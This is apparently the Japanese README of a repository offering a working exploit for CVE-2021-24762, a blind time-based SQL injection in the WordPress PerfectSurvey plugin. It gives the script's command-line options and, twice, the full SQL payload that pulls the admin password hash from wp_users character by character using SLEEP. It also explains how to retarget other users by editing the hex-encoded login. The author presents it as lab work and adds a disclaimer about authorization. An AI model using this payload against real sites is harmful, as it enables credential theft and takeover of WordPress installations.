
このリポジトリはCVE-2021-24762のエクスプロイトを示しています。これはデフォルト設定で管理者パスワードを取得するBlind SQLiエクスプロイトです。
このリポジトリはCVE-2021-24762のエクスプロイトを示しています。これは、デフォルト設定で管理者パスワードを取得するBlind SQLiエクスプロイトです。
WordpressのPerfectSurveyプラグインを使用したラボ作業中に、SQL脆弱性に行き詰まりました。見つかったPoCはすべてsqlmapベースで、ラボでうまく動作しませんでした(追加の質問が多く、例えばアプリケーションが404を返す、タイムアウトが大きく変動するなどの問題がありました)。そこで、ラボを攻略するためにこれを自作しました。
____ _ ___ ____
/ ___| / \ |_ _| / ___|
| | / _ \ | | \___ \
| |___ / ___ \ | | __ ) |
\____|/_/ \_\ |___| |____/
CAIS - Inteligência em Cibersegurança
Exploit for: CVE-2021-24762
usage: exploit_cve-2021-24762.py [-h] [-u URL] [-p PATH] [-d DELAY] [-t TIMEOUT] [-c CHARSET] [-m MAX_LEN] [-v]
Safe CLI wrapper — receives url/path/delay/timeout/charset and forwards it
options:
-h, --help show this help message and exit
-u, --url URL Base URL (default: http://192.168.10.10)
-p, --path PATH path (default: /wp-admin/admin-ajax.php)
-d, --delay DELAY delay in seconds (default: 30)
-t, --timeout TIMEOUT
timeout in seconds (default: delay + 15)
-c, --charset CHARSET
charset to be used (default: alnum + ./$_-@)
-m, --max-len MAX_LEN
maximum length (default: 20)
-v, --verbose activates log debugging
Pythonスクリプトは上記のパラメータを受け取ります。パラメータが渡されない場合は、デフォルト値で実行されます。
理想的には、少なくともURLを指定する必要があります。-uまたは--urlで指定してください。その他のパラメータはおそらくデフォルトで動作します。
デフォルト設定では、adminユーザーのパスワードハッシュを取得します。この設定はペイロード変数のuser_login値に適用されています。
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"
他のユーザーのハッシュを探す必要がある場合は、"0x61646d696e" (admin) を必要に応じて変更してください。
payload = f"1 AND (SELECT COUNT(*) FROM (SELECT 1 WHERE ORD(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login=0x61646d696e),{position},1))={ascii_code} AND SLEEP({delay})) AS a)"使用制限 — このリポジトリには、倫理的かつ責任ある使用のみを目的とした機密コンテンツが含まれています。 テスト対象のシステムの所有者から書面による許可を得ている必要があることを忘れないでください。この範囲外の使用は許可されておらず、利用者の責任となります(刑務所に行きたいですか?)。
exploit_cve-2021-24762 — エクスプロイト。README.ME — このファイル。2025-10-10 — c4cnm — 作成および初期修正
GNU General Public License v3 (GPL)